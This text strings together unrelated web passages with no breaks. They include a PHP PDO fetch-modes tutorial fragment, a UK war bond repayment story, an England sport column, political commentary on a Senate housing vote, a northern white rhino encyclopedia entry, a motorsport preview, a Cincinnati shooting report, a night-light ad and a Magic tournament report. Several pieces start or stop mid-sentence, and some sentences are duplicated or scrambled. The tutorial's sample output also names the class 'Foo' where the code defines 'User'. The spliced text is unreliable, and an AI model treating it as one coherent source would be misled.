public function __construct ( $car ) {
$this -> car = $car ;
}
}
$stmt = $pdo -> query ( 'SELECT name, car FROM users LIMIT 1' );
$users = $stmt -> fetchAll ( PDO :: FETCH_CLASS | PDO :: FETCH_PROPS_LATE, 'User', [ 'Caterpillar' ]);
while to fetch a single row, we will need to call both setFetchMode() and fetchObject() which is not very convenient.
class User {
public function __construct ( $car ) {
$this -> car = $car ;
}
}
$stmt = $pdo -> query ( 'SELECT name, car FROM users LIMIT 1' );
$stmt -> setFetchMode ( PDO :: FETCH_CLASS | PDO :: FETCH_PROPS_LATE, 'User' );
$user = $stmt -> fetchObject ( 'User', [ 'Caterpillar' ]);
/*
object(User)#3 (2) {
["car"] => string(6) "Toyota"
["name"] => string(4) "John"
} */
as you can see, this code is not a summit of efficiency, as we have to write the class name twice. Alternatively, we can use fetch() :
$stmt = $pdo -> query ( 'SELECT name, car FROM users LIMIT 1' );
$stmt -> setFetchMode ( PDO :: FETCH_CLASS | PDO :: FETCH_PROPS_LATE, 'User', [ 'Caterpillar' ]);
$user = $stmt -> fetch ();
but, as it was noted above, it won't help us with an error message if a class happen to be undefined.
Getting a class name from the database
There is one more interesting flag which tells PDO to get the class name from the first column's value. With this flag one can avoid using setFetchMode() with fetch() :
$data = $pdo -> query ( "SELECT 'User', name FROM users" )
-> fetch ( PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE );
/*
object(User)#3 (1) {
["name"]=> string(4) "John"
} */
Besides, as it was noted in the comments to the main article, this mode can be useful if objects of different classes can be created from the same query
class Male {};
class Female {};
$stmt = $pdo -> query ( 'SELECT sex, name FROM users' );
$users = $stmt -> fetchAll ( PDO :: FETCH_CLASS | PDO :: FETCH_CLASSTYPE );
/*
array(6) {
[0]=> object(Male)#3 (1) {
["name"]=> string(4) "John"
}
[1]=> object(Male)#4 (1) {
["name"]=> string(4) "Mike"
}
[2]=> object(Female)#5 (1) {
["name"]=> string(4) "Mary"
}
[3]=> object(Female)#6 (1) {
["name"]=> string(5) "Kathy"
}
}*/
However, it seems impossible to pass any arguments in the class constructor when using this mode.
Updating an existing object
Beside creating a new object, PDO can update an existing one. Works with setFetchMode() only, which takes the existing variable as a parameter. Obviously, useless with fetchAll().
class User
{
public $name ;
public $state ;
public function __construct ()
{
$this -> name = NULL ;
}
}
$user = new User ;
$user -> state = "up'n'running" ;
var_dump ( $user );
$stmt = $pdo -> query ( 'SELECT name FROM users LIMIT 1' );
$stmt -> setFetchMode ( PDO :: FETCH_INTO, $user );
$data = $stmt -> fetch ();
var_dump ( $data, $user );
/*
object(Foo)#2 (2) {
["name"] => NULL
["state"] => string(12) "up'n'running"
}
object(Foo)#2 (2) {
["name"] => string(4) "John"
["state"] => string(12) "up'n'running"
}
object(Foo)#2 (2) {
["name"] => string(4) "John"
["state"] => string(12) "up'n'running"
} */War effort: The public were encouraged to invest
Britain will repay a £218million chunk of debt that helped fund causes including the Napoleonic War, cleaning up the South Sea Bubble and the First World War, as National War Bonds, the Treasury announced today.
Chancellor George Osborne said the government would redeem the debt from 4 per cent Consols, first issued in 1927 by Winston Churchill, partly to refinance Great War debt.
They are a form of perpetual bond, where there is no date of redemption for the original sum put in and investors just receive interest.
The payment, due in February, will be the first repayment of an undated gilt in 67 years.
The move comes less than two weeks before Remembrance Day and during the year that marks the centenary of the outbreak of the First World War.
The Government is taking advantage of low interest rates to pay back the debt, as it can refinance it at a lower rate.
British ten-year gilts currently yield 2.23 per cent.
National War Bonds were issued in 1917 as part of efforts by the government to fund the ongoing cost of the First World War.
They initially paid 5 per cent interest, before being cut to 3.5 per cent in the 1930s after the Great Depression.
Interest is earned tax-free but over the years any initial investments will have been heavily eroded by inflation.
The war bonds and assorted other debts were refinanced into 4 per cent Consolidated Loans by Winston Churchill in 1927.
This also covered debt on the capital stock of the infamous collapsed South Sea Company originating in 1711, and bonds issued in 1752 used to finance the Napoleonic and Crimean Wars, the Slavery Abolition Act in 1835 and the Irish Distress Loan in 1847.
The Debt Management Office estimates that the nation has paid £1.26billion in total interest on these bonds since 1927, but there is still around £2billion of First World War debt remaining.
This is one of eight undated government bonds currently outstanding.
The Treasury says there are currently 11,200 registered holders of the bond.Mr Osborne said the debt can be refinanced to lower rates which will deliver more value for money for the taxpayer.
The move follows calls from experts such as Threadneedle in recent weeks to use the low interest rate environment to refinance these loans.
Toby Nangle, head of multi-asset for Threadneedle, previously said: 'Having perpetual debt outstanding is about as about as cool as it gets for a bond issuer.
'But it would be facetious to imagine that the Debt Management Office would value the arcane international bragging rights that come with having a perpetual outstanding over a debt reduction and associated interest savings that could be achieved for HM Treasury.'
Responding to the news today, he said: 'This is a great example of pragmatic and attentive debt management on the part of the UK government. I hope that this move is the first of many to cut the interest bill and save taxpayers money.'
Mike Riddell, a bond fund manager for M&G, questioned the timing: ‘Effectively this is such a tiny bond that it won’t make much difference to the deficit.
‘This bond’s price was around the same level in 2012 but they chose not redeem and made the markets think they would not ever buy the bonds back. It could be because of the upcoming General Election or just because it is 100 years since the war
‘The big implication is that there are other bigger perpetual gilts outstanding, if they refinanced the others it will start making a bit more difference.’The last time I went to watch England play as a fan at the old Wembley was a 0-0 draw against Bulgaria 17 years ago this week. It was a gruelling occasion, an entire 90 minutes during which somehow the ball always seemed to be at the feet of Sol Campbell, trapped under his great muscular hooves as he shuttled repeatedly from side to side with the finesse of a primitive stone giant brought to life and very diligently and dutifully learning to tap dance.
All the way through the air was thick with boos and jeers and howls of rage. In front of me one man in particular, a terrifying old-school skinhead with a huge bulbous rippling forehead like a medicine ball made of Spam kept turning around and yelling: “CAM ON!!! SING!!!” Towards the end he leapt up on the railing and started actually conducting the entire stand with a mixture of threats, shaken fists and, much weirder, patiently encouraging gestures. He succeeded too, dragging out of us a few frightened rounds of Enger-land-Enger-land while he sneered and cajoled, scanning the crowd for dissenters, pulse throbbing, like a vast angry, violent Simon Rattle.
England call up Dele Alli and Danny Ings for final two Euro 2016 qualifiers Read more
It was interesting to compare this reign of patriotic terror with the atmosphere inside the new Wembley for the game against Switzerland last month. It wasn’t really mentioned at the time but the oddest part of Wayne Rooney passing the England goals record was the reaction of the crowd, who chanted “Rooney!” a few times, raised their devices for a commemorative selfie and then abruptly started to leave, hundreds of people streaming out through the exits, moment of history safely consumed, with eight minutes of competitive England football still to run. My thoughts, at that moment, were naturally with the giant Spam-coloured skinhead. I can only hope, for his own sake, he’s been priced out of coming by now.
The idea of supporting your country as a given, an unconditional love supreme, has been simmering away in the background this week. Before England’s Rugby World Cup game against Australia some of the players have felt undermined by criticism from pundits. This has been portrayed, not explicitly, as disruptive, at worst a kind of disloyalty. Good old Prince Harry, bunching his fists, wrenching his great pink neck around, has “called on the entire nation to back England”, which is the right sentiment but still seems like one of those things where, you know, if you have to say it, well... Meanwhile another England football squad has been announced, hovering vaguely on the edge of things like a voice heard through the wall.
There will of course always be an England support. People like getting out and about. They like songs. But it must be said, something has shifted. Even as someone who grew up supporting England quite desperately at football and cricket it is hard now to feel that instant twitch on the thread. England as a sporting thing, a shared, non-negotiable passion is if not over then oddly diminished. Wipe away the crumbling St George’s Cross face paint. Remove that red and white jester’s hat. Put out fewer flags.
This is not about England being bad at sport. The fact is the fortunes of our national teams have remained more or less constant over the last 40 years. Nor is it measured in ticket sales or merchandise haul, which have never been so successfully hawked. It is just there in the tone and texture of the occasion. Young people, in particular, seem to look at national teams and shrug, before turning back to the borderless world of star names and star teams, a digital fandom in which, quite frankly, the old St George’s Cross looks a little analogue, a little fax machine.
There will be some who say: it’s your country. Just support it. Typical pigeon-chested, sneering urban Guardianista weasel. To which I say, well, when you put it like that England looks like my kind of town. Bring on the sneering urban weasels. Finally a team I can really get behind. And really such certainty is in itself quite un-English. To be English is to feel doubt and ambivalence, to object, cock a snook, take for granted, deride the flag even is it cossets you in its safe embrace, to feel sentimentally dispossessed.
There is, though, something more to the current drift. Tub-thumping aside, international sport has traditionally been the most interesting kind of sport. In its pure form it is a test of systems, a measure of everything a society puts into its active life. Schools, clubs, municipal spaces, teachers, coaches, parents, football associations, effort, attitude, resources. Are we doing it right? Or are they?
It is decade now since the last golden age of England teams, that three-year run of 2003 Rugby World Cup winners, Euro 2004 and the 2005 Ashes series. It isn’t hard to see why these teams were captivating. The 2003 rugby champions were, for all their disciplined style, crammed with quietly seething characters from the austere, garden-shed genius of Jonny Wilkinson, to the basic overpowering Johnno-ness of Martin Johnson, the kind of man whose sheer presence |
can throw in the annuals too if you like), or because Marvel no longer prints them (can you collect digital files?). But Opening Day baseball is going to be a significant ritual in my life until the day I die. I’m so thankful that there’s a Spider-Man comic out there that marries these two loves in my life in a way that I can relate to and identify with completely.
All images from Peter Parker Spider-Man #33 (vol. 2): Paul Jenkins, Mark Buckingham & Wayne FaucherTo nobody’s surprise, the Lee amendment to defund the Obama administration’s radical Affirmatively Furthering Fair Housing rule ) (a rule that essentially turns the federal government into a national zoning board, forcing high-density housing on unwilling cities and towns while letting bureaucrats decide the racial, ethnic, and income balance of local communities) was tabled by a vote of 60–37 today, marking a defeat for conservatism, community control, and common sense. AFFH
Meanwhile Susan Collins’s fig-leaf amendment that pretends to stop AFFH’s war on the suburbs passed 87–9. It’s the sort of depressing scene we’ve become accustomed to in the McConnell-led Senate. Heritage Action Scorecard “key voted” the Lee amendment (and in the process, proved again why it is the gold standard of conservative rating systems). Little surprise that of Heritage’s 10 worst-scoring Republican senators, only one (Senator Shelley Moore of West Virginia) voted for the Lee amendment, while their top 23 scoring senators all voted for Lee. AFFH’sCapito
What’s more mystifying and discouraging about this is the utter political stupidity of the tactics employed by the GOP Senate leadership. Not only does it deprive the party of a great short-term issue, but of a long-term one as well — and one that would have paid both policy and political dividends. When communities better understand what AFFH allows, it is going to be absolutely toxic to everyone who voted for it — or at least it would have been if McConnell hadn’t allowed Democrats to take political cover with the Collins amendment. The Collins amendment passed with the only nine votes against being Democrats from Senate jurisdictions so liberal that they could afford to say even the Collins non-concession was insufficient. So Senator McConnell managed to give the Democrats a fig leaf hid their vote for this monstrosity.
Meanwhile the Lee amendment, which had, at least in theory, the support of all but 16 members of the GOP’s 54-member conference, including all of the GOP’s conservative senators, garnered only GOP votes. Not a single Democrat joined them. McConnell once again worked with a rump faction of liberal Republicans to stop a conservative amendment. (Don’t be fooled by the fact that McConnell voted for the Lee amendment — he, and probably some others in the “yes’ camp, were just giving themselves political cover. If McConnell had actually wanted the Lee amendment, the Collins amendment would never have seen the light of day.)
For what it’s worth, the following 16 GOP Senators voted for the Obama administration’s war on the suburbs. It’s a largely predictable list:
Alexander
Ayotte
Blunt
Burr
Coats
Cochran
Collins
Graham
Hatch
Hoeven
Isakson
Kirk
McCain
Murkowski
Portman
TillisThe northern white rhinoceros, or northern square-lipped rhinoceros (Ceratotherium simum cottoni), is one of two subspecies of the white rhinoceros (the other being the southern white rhinoceros). Formerly found in several countries in East and Central Africa south of the Sahara, this subspecies is a grazer in grasslands and savanna woodlands. As of March 19, 2018, there were only two known rhinos of this subspecies left, both of which are female; barring the existence of unknown or misclassified male northern white rhinos elsewhere in Africa, this makes the subspecies functionally extinct. The two female rhinos belong to the Dvůr Králové Zoo in the Czech Republic but live in the Ol Pejeta Conservancy in Kenya and are protected round-the-clock by armed guards.
According to the latest International Union for Conservation of Nature (IUCN) assessment from 2011, the subspecies is considered "Critically Endangered (Possibly Extinct in the Wild)."[2]
Living rhinos [ edit ]
Ol Pejeta Conservancy [ edit ]
A northern white rhinoceros near the equator during translocation to Ol Pejeta Conservancy.
One of the northern white rhinos translocated to Ol Pejeta was living in a semiwild state.
The zoo population is declining, and northern whites have rarely reproduced in captivity. There are now only two northern white rhinos left:
Najin, a female, was born in captivity in 1989. She is the mother of Fatu. [3] Her mother was Nasima and her father was Sudan. [4]
Her mother was Nasima and her father was Sudan. Fatu, also a female, was born in captivity in 2000.[3] Her mother is Najin and her father was Saut.[5]
They both belong to the Dvůr Králové Zoo in the Czech Republic, but live in Ol Pejeta Conservancy in Kenya, Africa.[6] They arrived at the conservancy after an air and road trip on December 20, 2009,[7] along with two male northern white rhinos from the Dvůr Králové Zoo, Suni and Sudan. However, Suni, a male born at Dvůr Králové Zoo in 1980, died from natural causes in Ol Pejeta Conservancy in 2014.[8][9] Sudan, caught from the wild in 1975, died on March 19, 2018.[4][10][11]
After the transport, the four rhinos were under constant watch by specialists and staff, and lived in specially constructed bomas with access to a 400×400-metre paddock area, allowing them to acclimatize to their new surroundings.[citation needed] To prevent any unnecessary injuries they might inflict on each other while interacting in their fenced area, and give their horns an opportunity to regrow to a natural shape (as their front horns had grown bent by much rubbing against enclosure bars in captivity), all the rhinos were sedated and their horns were sawn off. This also made them less vulnerable to the poaching that drove their species to near extinction, as the horn is what the poachers are after. In place of their horns, radio transmitters have been installed to allow closer monitoring of their whereabouts.[12] They are protected round-the-clock by armed guards.[13] Poachers have been selling their horns for $110,000 per pound ($50,000 per kilogram).[14]
Since May 2010, the northern white rhino male Sudan was moved from the initial holding pens to a much larger 700-acre (2.8 km2) semiwild enclosure. There he roamed among many African animals, including several southern white rhino females and many plains animals. On October 26, 2011, the females were coaxed into the larger enclosure. Because Najin was overly protective of her daughter Fatu's chance at mating, one of the two moved back into the smaller enclosure two weeks later.[citation needed]
Until 2011, the progress of this attempt at saving the northern white rhinoceros was documented on the initiative's website;[15] and their life in Ol Pejeta Conservancy is commented on on the Conservancy's website. Several documentaries are in the works, including an episode of Ol Pejeta Diaries entitled "Return of the African Titans" for Oasis HD Canada fall 2010, and a follow-up half-hour episode to follow. This translocation was also the subject of a BBC Last Chance to See special entitled "Return of the Rhino",[16] presented by Stephen Fry and the zoologist Mark Carwardine; the TV program reported at the end that the two pairs of rhinos were "flirting".
On April 25, 2012, and on May 27, 2012, Suni and Najin mated.[17] Pregnancy of the female rhinos was monitored weekly.[18] Rhinoceros gestation period takes 16 to 18 months,[19] so in January 2014 the Conservancy considered Najin not pregnant, and a male southern white rhino from Lewa Wildlife Conservancy was put to Najin and Fatu enclosure in Ol Pejeta to at least intercross the subspecies. To achieve this, both female northern white rhinos were separated from their male counterparts, which prevented them from producing a pure northern white rhino offspring.[20][21] In 2015, however, tests conducted by Czech specialists revealed that neither of the females are "capable of natural reproduction".[22][23] According to the director of the Dvůr Králové Zoo, it was possible Najin became pregnant but miscarried shortly after, which resulted in pathological changes in its uterus, preventing another impregnation.[24]
At the end of 2015, scientists from the Leibniz Institute for Zoo and Wildlife Research, San Diego Zoo Global, Tiergarten Schönbrunn, and Dvůr Králové Zoo developed a plan to reproduce northern white rhinos using natural gametes of the living rhinos and induced pluripotent stem cells. Subsequently, in the future, it might be possible to specifically mature the cells into specific cells such as neurons and muscle cells, in a similar way in which Katsuhiko Hayashi has grown mice out of simple skin cells. The DNA of a dozen northern white rhinos has been preserved in genetic banks in Berlin and San Diego.[25]
Recently deceased rhinos [ edit ]
Wild population [ edit ]
The northern white rhino (Ceratotherium simum cottoni) formerly ranged over parts of northwestern Uganda, southern South Sudan, the eastern part of Central African Republic, and northeastern Democratic Republic of the Congo.[26] Their range possibly extended as far west as Lake Chad, into Chad and Cameroon.[citation needed]
Poachers reduced their population from 500 to 15 in the 1970s and 1980s. From the early 1990s through mid-2003, the population recovered to more than 32 animals.[27][28] Since mid-2003, poaching has intensified and further reduced the wild population.[27]
Garamba National Park [ edit ]
The last known surviving population of wild northern white rhinos was in Garamba National Park, Democratic Republic of the Congo (DRC).[29]
In January 2005, the government of the DRC approved a two-part plan for five northern white rhinos to be moved from Garamba National Park to a wildlife sanctuary in Kenya. The second part commits the government and its international partners to increase conservation efforts in Garamba, so the northern white rhinos can be returned when it is safe again.[30] However, the translocation did not occur.
In August 2005, ground and aerial surveys conducted under the direction of African Parks Foundation and the African Rhino Specialist Group (ARSG) had only found four animals, a solitary adult male and a group of one adult male and two adult females.[31] They were the last known wild northern white rhinos, according to the World Wide Fund for Nature.[32]
In June 2008, it was reported that the species may have gone extinct in the wild, since there has been no sighting of these four known remaining individuals since 2006, or of their signs since 2007, despite intensive systematic ground and aerial searches in 2008.[2][33] One carcass has been found.[2][34][35] On November 28, 2009, two Russian helicopter pilots reported seeing rhinoceroses in southern Sudan.[36] It was assumed that the three rhinos that were spotted belonged to the northern white rhinoceros subspecies, as black rhinos had not lived in the area for a long time and southern white rhinos never lived in southern Sudan.[37] However, as of August 2011, no other sightings have been reported, and this population is now considered to have probably gone extinct.[2]
Captive population [ edit ]
At the beginning of 2015, the fully captive northern white rhino population consisted of only two animals maintained in two zoological institutions: in the United States (San Diego Zoo Safari Park) and the Czech Republic (Dvůr Králové Zoo). However, both of them died later the same year, and no zoo in the world has any northern white rhinos any longer.
Dvůr Králové Zoo [ edit ]
In 1975, the Dvůr Králové Zoo, located in Dvůr Králové nad Labem, Czech Republic, got six northern white rhinos from Sudan and, in later years, two more from English zoos. One rhino from an English zoo arrived pregnant. The Dvůr Králové Zoo is the only one in the world where northern white rhinos birthed offspring, with the last calf being born in 2000;[38] the current world population consists of their shared descendants.[39][4][5]
Former residents include:
Ben, a male wild born in Africa in about 1951. He was transferred to Dvůr Králové Zoo from a faculty in England and died June 25, 1990. [4]
Nasima, a female wild born in Uganda in about 1965. She was transferred pregnant to Dvůr Králové Zoo from a faculty in England. She was the mother of Nasi, Suni, Nabire, and Najin. She birthed four out of five Northern White Rhino calves born in captivity, making her the most fruitful Northern White in captivity to date. [4] [40] She died in 1992 at about age 27. [5]
She died in 1992 at about age 27. Saut, a male caught from the wild in Sudan in 1975 at about 3 years of age. [4] He was the father of Suni and Fatu. He was loaned to San Diego Zoo Safari Park by Dvůr Králové Zoo from 1989 until 1998 when he was returned to Dvůr Králové Zoo. He mated with females at both faculties. [5] [41] He died in August 2006 around age 33. [42]
He was the father of Suni and Fatu. He was loaned to San Diego Zoo Safari Park by Dvůr Králové Zoo from 1989 until 1998 when he was returned to Dvůr Králové Zoo. He mated with females at both faculties. He died in August 2006 around age 33. Nuri, a female caught from the wild in Sudan in 1975 at about 3 years of age. She died January 4, 1982 at about age 10. [4]
Nesari, a female caught from the wild in Sudan in 1975 at about 3 years of age. She died in 2011 at age 39. [43] [4]
Nasi, a female born at Dvůr Králové Zoo on November 11, 1977. Her mother was Nasima and her father was a southern white rhino, which made her a northern and southern white rhino hybrid. She died in 2008 at about age 31. [4] [44]
Suni, a male born at Dvůr Králové Zoo on June 8, 1980. He was the half-brother of Najin and Fatu, but through different parents. His mother was Nasima and his father was Saut. [5] [4] He had mated while in zoos. Was transferred to Ol Pejeta Conservancy in 2009. Some of his sperm has been collected and frozen. On October 17, 2014, due to his old age, he died of natural causes. [8] [9]
He had mated while in zoos. Was transferred to Ol Pejeta Conservancy in 2009. Some of his sperm has been collected and frozen. On October 17, 2014, due to his old age, he died of natural causes. Nabire, born at Dvůr Králové Zoo on November 15, 1983. Her mother was Nasima and her father was Sudan. She died on July 27, 2015. [4] [45]
Sudan, caught from the wild in Sudan in 1975 at about 3 years of age. He was the father of Najin and the late Nabire.[4][40] In March 2018, his state seriously deteriorated despite intensive care due to a recurrent infection in his right hind leg,[46] and he was euthanized on March 19, 2018.[10][11] He was the last known male of the subspecies.
Dvůr Králové Zoo sent Suni, Sudan and two females, which are still alive, to the Ol Pejeta Conservancy in Kenya on December 19, 2009[47] in a joint effort by the zoo, Fauna and Flora International, Back to Africa, Lewa, and Kenya Wildlife Service. Hoping to stimulate the rhinos' sexual appetite, the zoo decided to send them back into their natural habitat in Kenya. The agreement with the Kenyan government expects the rhinos never to be returned to the Czech Republic.
The female named Nabire stayed in Dvůr Králové Zoo, because, as Jan Stejskal, a projects coordinator at the zoo, stated, "she is no longer capable of breeding naturally. But it seems she has one healthy ovary and this could provide us with material from which to create an embryo in artificial conditions."[38] Efforts to do so began in autumn 2014.[48] Immediately after the death of Nabire in 2015, her ovary with four oocytes was removed and transferred to a laboratory in Cremona, Italy. The laboratory was able to extract two egg cells and fertilise them. However, without consulting the Dvůr Králové Zoo, the semen of a southern white rhino was used instead of a northern white rhino, which the zoo considers a wasted opportunity.[49] Neverthelees, the experiment showed that viable hybrid embryos of the northern and southern white rhino are possible through IVF, as well as a path to the creation of pure northern white rhino embryos.[50][51]
San Diego Zoo Safari Park [ edit ]
The San Diego Zoo Safari Park in San Diego, California, had eight wild-caught northern white rhinos.[52][5]
Former residents include:
Dinka, a male caught from the wild in Sudan in 1957 at about 5 years of age, which arrived from another U.S. zoo in 1972. He died in 1974. [5]
Bill, a male caught from the wild in Sudan in 1956 at about 4 years of age, which arrived from another U.S. zoo in 1972. He died in 1975. [5]
Lucy, a male caught from the wild in Sudan in 1956 at about 4 years of age, which arrived from another U.S. zoo in 1972. He died in 1979. [5]
Joyce, a female caught from the wild in Sudan in 1957 at about 5 years of age, which arrived from another U.S. zoo in 1972. She died in 1996. [5]
Saut, a male caught from the wild in Sudan in 1975 at about 3 years of age, which was on loan from Dvůr Králové Zoo from 1989–1998. He died in August 2006 at about age 33. [5] [42]
Nadi, a female caught from the wild in Sudan in 1975 at about 3 years of age, which was on loan since 1989 from Dvůr Králové Zoo. She died on May 30, 2007 at about age 35. [52] [5]
Angalifu, a male caught from the wild in Sudan in 1973 at about 1 year of age, which was on loan since 1990 from Khartoum Zoo in Khartoum. He died on December 14, 2014 at about age 42. [1] [5]
Nola, a female caught from the wild in Sudan in 1975 at about 1 year of age, which was on loan since 1989 from Dvůr Králové Zoo.[53][54][55] She died on November 22, 2015 at about age 41.[56]
The San Diego Wild Animal Park provided Angalifu's semen to female rhinos at the Dvůr Králové Zoo but the insemination attempts were unsuccessful. The only reproductive animals of this subspecies were transported to Ol Pejeta Conservancy in Kenya.
In 2016, it was reported that scientists were exploring alternatives (such as artificial insemination, in vitro fertilization and embryo transfer) to develop northern white rhino embryos and implant them in female southern white rhinos at the San Diego Zoo.[57]
List [ edit ]
Timeline of known northern white rhinoceros in captivity
Population chart [ edit ]
Northern White Rhino Population by Location and Year, 1909–2018 Location 1909[60] 1960* 1975* 1984 1995 1996 1998 2000 2003 2006 2007 2008 2009 2011 2014 2015 2017 2018 Wild 2,000–3,000* 2,000*[18] 500*[27] 15[40] 35[40] 29[28] 26-31[28] 30-36[28] 30[34] 4[34] n/a 0[34][40] 0 0 0 0 0 0 Central African Republic n/a n/a n/a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Dem. Republic of Congo n/a n/a n/a 15 35 29 26-31 30-36 30 4 n/a 0 0 0 0 0 0 0 South Sudan n/a n/a n/a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Uganda n/a n/a n/a 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Captivity n/a 7[5] 15[5] 16[4][5] 11[4][5] 10[4][5] 10[4][5] 11[4][5] 11[4][5] 10[4][5][42] 8[5][44][52] 8[61] 8[61] 7[62] 5[1] 3[56] 3[63] 2[64] Dvůr Králové Zoo, Czech Republic n/a 0 6 9 6 6 7 8 8 7 6 6 2 1 1 0 0 0 Khartoum Zoo, Sudan n/a 0 2 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Ol Pejeta Conservancy, Kenya n/a 0 0 0 0 0 0 0 0 0 0 0 4 4 3 3 3 2 San Diego Zoo, USA n/a 0 2 1 5 4 3 3 3 3 2 2 2 2 1 0 0 0 Other zoo faculties n/a 7 5 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Total 2,000- 3,000* 2,000* 500* 31 46 39 36-41 41-47 41 14 8 8 8 7 5 3 3 2
*estimate
Taxonomy [ edit ]
Following the phylogenetic species concept, recent research has suggested the northern white rhinoceros may be an altogether different species, rather than a subspecies of white rhinoceros, in which case the correct scientific name for the former is Ceratotherium cottoni. Distinct morphological and genetic differences suggest the two proposed species have been separated for at least a million years.[65] However, the results of the research were not universally accepted by other scientists.[2]
References [ edit ]2016 is already last year's news, so Crash.net is turning its attentions to this season with our big tips for the coming months outside of F1...
Our editors have chosen 10 drivers (5 revealed here and another 5 to be revealed in Pt.2 tomorrow)... and we want to know whether you agree or whether you think someone else is destined for a breakthrough year!
Lando Norris
1.Three titles in 2016 saw Norris awarded the McLaren BRDC Award and has been identified as the next big name in British motorsport. In 2013, Norris became the youngest-ever CIK-FIA karting world champion and a smooth transition to single-seaters saw him win his first series title in 2015 in MSA Formula.Last year Norris continued to grab headlines with titles in the Toyota Racing Series, Eurocup Formula Renault 2.0 and Formula Renault 2.0 NEC which has accelerated his progress into Euro F3 this year with Carlin aged just 17.
Charles Leclerc
Mick Schumacher
2.After lighting up the karting world, Charles Leclerc has never been far away from the sharp end of the grid in any junior category he has competed in. On his single-seater debut he finished runner-up in the 2014 Formula Renault 2.0 Alps before being top rookie and fourth overall in the 2015 European Formula 3 championship.The Monegasque driver was duly snapped up by the Ferrari Driver Academy last year and enjoyed testing duties with Haas F1 on his way to clinching the GP3 Series title this year. Leclerc steps up to the GP2 Series with defending champions Prema Powerteam and despite his inexperience at 19 is tipped as an early favourite for the title.3.
Ed Jones
4.
Having swept to the Indy Lights Championship in only his second season of American-based racing, British-Emirati racer Ed Jones has rightly earned a promotion in the IndyCar Series with Dale Coyne Racing alongside ex-F1 driver Sebastien Bourdais.
As the only rookie currently confirmed to an almost-completed 2017 IndyCar grid, Jones faces a challenge to make his mark in a series where experience is key but has been tipped to follow in the path of some impressive Brits to have made their names stateside.
Nick Tandy
5.A dream realised for Nick Tandy who having battled through the rigorous ranks of the Porsche Supercup to become a factory driver, finally gets his LMP1 World Endurance Championship shot along with his 2015 Le Mans 24 Hours-winning team-mate Earl Bamber.
Jumping into the two-time and defending WEC title-winning Porsche 919 Hybrid, the pressure might be on for Tandy to demonstrate his worth across a season of LMP1 against seasoned rivals but with a wealth of IMSA and WEC experience at GT level as well as testing mileage, the British driver was 'at the top of the list' for LMP1 according to Porsche bosses.
By Ollie Barstow and Haydn CobbVictims hit with birdshot from shotgun, police say
Four people were wounded in a shooting in Northwest Fairmount on Thursday.The shooting happened in the 2300 block of Baltimore Avenue at around 2 p.m.Police said the victims were standing on the corner of Baltimore and McHenry avenues when a car pulled up and someone inside fired a shotgun at them.Watch this storyThe birdshot from the shell wounded the victims generally below the waist, police said.Dispatchers said it appeared none of the wounds were life threatening. No names have been released.Cincinnati police are calling this a targeted drive-by shooting.Police don't have a description of the car or who pulled the trigger, but officers said several people were inside the car.Police said this was not a random shooting and police are familiar with more than one of the victims.A few businesses on the corner have surveillance cameras.Investigators will try to use the video to track down the shooter.
Four people were wounded in a shooting in Northwest Fairmount on Thursday.
The shooting happened in the 2300 block of Baltimore Avenue at around 2 p.m.
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Police said the victims were standing on the corner of Baltimore and McHenry avenues when a car pulled up and someone inside fired a shotgun at them.
Watch this story
The birdshot from the shell wounded the victims generally below the waist, police said.
Dispatchers said it appeared none of the wounds were life threatening. No names have been released.
Cincinnati police are calling this a targeted drive-by shooting.
Police don't have a description of the car or who pulled the trigger, but officers said several people were inside the car.
Police said this was not a random shooting and police are familiar with more than one of the victims.
A few businesses on the corner have surveillance cameras.
Investigators will try to use the video to track down the shooter.
AlertMeCharge up the monster deterrent! Multi-colored interactive night light
Base charges up the glowing, removable balls
Balls glow for about 30 minutes, then fade out
Monsters are a real and serious threat to the sanity and sleep quality of parents everywhere. As long as our geeklings think that monsters present a real danger, they won't sleep. And if the geeklings don't sleep, nobody sleeps. The problem with your standard night light is that it only illuminates one part of the room. Sure, you could plug in multiples, but at that point, you might as well leave all the lights on.
The Glo Nightlight looks a bit like alien plant life. Its three stems each hold a glowing ball. The base charges the balls up so at night, you can remove them and place them anywhere a little light is needed to scare the monsters away. One by the closet. One under the bed. And one in your geekling's hands, ready to roll toward any suspicious looking shadows. Because there are no electronics in the Glo balls, they don't get warm and they won't break. The glow fades in about 30 minutes, which is just enough time to soothe your wee geek to sleep.
Product SpecificationsNYSE 2 is in the books, and had a great turnout. With $100 entry fee just to get in the door, the field was packed with talented and dedicated Vintage players, and the results did not disappoint. There were established archetypes performing well, tweaks on existing decks, and new technology seeping into the metagame from different angles. Nick Detwiler (aka Prospero) has done a fantastic job promoting Vintage in the northeast (running tournaments) and online (moderating on TheManaDrain), and should be applauded at every opportunity for his hard work in the community, and his love of the format.
We’ve posted the Top 8 decklists in the first section, broken down all decks for a metagame breakdown in the next section, and then posted the full decklists from all 92 competitors in the final section (alphabetically, by last name, first name). To find a specific deck by player name or deck type, press CRTL+F to bring up the Find function in your browser, and then type in your search string.
(Note: Final Round 7 Standings from Swiss rounds)
A special mention has to go community stalwart Seth Levy, who put in a tremendous amount of work throughout the tournament, both running the DCI Reporter and managing rounds, exporting the pairings/standings/results for each round for our live coverage, and simultaneously typing up about 75% of these decklists.
Top 8 Decklists, by Final Standing
Forgemaster Workshops, by Keith Seals – 1st Place
Oath, by Rob Edwards – 2nd Place
UW Stoneforge Flash Control, by Vasu Balakrishnan – 3rd Place
Forgemaster Workshops, by Michael Scheffenacker – 4th Place
Forgemaster Workshops, by Chris Hanson – 5th Place
Merfolk, by Joel Lim – 6th Place
Talrand Deathrite Gush, by Mike Brotzman – 7th Place
RUG Delver, by Stephen Menendian – 8th Place
Metagame Report
Grouped by Deck
4C Control – 3
4C Delver – 2
Blood Moon Workshop Aggro – 1
Bomberman – 5
BUG Control – 6
BUG Tempo – 4
Burning Pitch Long – 1
Doomsday – 2
Dredge – 3
Esper Tezzeret Control – 1
Forgemaster Workshops – 10
Gitaxian Storm – 2
Goblins – 1
Grixis Control – 1
Grixis Tezzeret Control – 1
Grixis Welder Control – 4
Gush Storm – 1
Human Storm – 2
Imperial Magus RW Hate – 1
Junk Hatebears – 1
Landstill UR – 1
Merfolk – 8
Metalworker Non-Forgemaster Workshops – 1
Oath – 12
Rector Omniscience – 2
RUG Delver – 3
Smokestack Workshops – 3
Survival – 1
Talrand Deathrite Gush – 1
Terranova Workshops – 3
